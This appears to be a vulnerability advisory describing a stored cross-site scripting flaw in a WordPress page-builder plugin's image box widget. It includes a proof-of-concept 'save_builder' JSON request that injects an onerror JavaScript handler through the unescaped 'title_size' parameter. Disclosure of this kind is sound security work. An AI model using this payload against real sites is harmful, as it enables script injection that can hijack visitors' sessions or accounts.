In the plugin, the image box widget (includes/widgets/image-box.php) accepts a ‘title_size’ parameter. Although the element control lists a fixed set of possible html tags, it is possible for a user with Contributor or above permissions to send a modified ‘save_builder’ request containing JavaScript in the ‘title_size’ parameter, which is not filtered and is output without escaping. This JavaScript will then be executed when the saved page is viewed or previewed.
{"save_builder":{"action":"save_builder","data":{"status":"pending","elements":[{"id":"e99c2ff","elType":"section","isInner":false,"settings":{},"elements":[{"id":"a776088","elType":"column","isInner":false,"settings":{"_column_size":100,"_inline_size":null},"elements":[{"id":"b410fd3","elType":"widget","isInner":false,"settings":{"title_text":"This is the heading","description_text":"blah","title_size":"img src=\"\" onerror=\"alert(3);\""},"elements":[],"widgetType":"image-box"}]}]}],"settings":{"post_title":"imageboxpoc attr","post_status":"pending"}}}}
Ramuel Gall
Ramuel Gall
Yes
2021-03-17 (about 2 years ago)
2021-03-17 (about 2 years ago)
2021-03-20 (about 2 years ago)